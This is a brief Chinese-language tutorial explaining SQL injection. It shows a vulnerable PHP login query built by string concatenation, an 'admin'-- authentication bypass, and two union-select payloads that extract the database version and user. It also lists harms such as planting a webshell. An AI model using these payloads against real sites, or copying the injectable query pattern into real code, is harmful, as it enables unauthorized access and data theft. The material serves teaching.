第一
什么是SQL注入
是一种常见的web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
SQL注入的简易代码
$username = $POST['username'];
$password = MD5($_POST['password']);
$check_query = mysql_query(*select name from teacher where name='$username' and passwd = '$password' limit 1*);
/*上面那串代码就是将用户名和密码拼接到要执行的sql语句中*/
/*
select name from teacher where name = 'admin' and passwd ='2123f297a57a5a743894a0e4a801fc3' limit 1
*/
/*上面注释掉的语句就是sql语句执行的样子*/
admin
SQL注入后的简易代码
$username = $POST['username'];
$password = MD5($_POST['password']);
$check_query = mysql_query(*select name from teacher where name='$username' and passwd = '$password' limit 1*);
/*上面那串代码就是将用户名和密码拼接到要执行的sql语句中*/
/*
select name from teacher where name = 'admin'-- 'and passwd ='2123f297a57a5a743894a0e4a801fc3' limit 1
*/
/*上面注释掉的语句就是sql语句执行的样子*/
admin
第二
SQL注入的过程
1. 获取用户请求参数
2. 拼接到代码中
3.SQL语句按照我们的构造参数的语义执行成功
第三
SQL注入的必备条件
1.可以控制输入的数据
2.服务器要执行的代码拼接了控制的数据
第四
SQL注入的本质
数据与代码未分离,即数据当做代码来执行
常用的利用脚本
username=admin' and 1=2 union select version() -- &password=
/*获取系统版本*/
username=admin' and 1=2 union select user() -- &paasword=
/*获取当前数据库用户*/
第五
SQL注入的危害
获取服务器权限 植入Webshell,获取服务器后门 读取服务器敏感文件 万能密码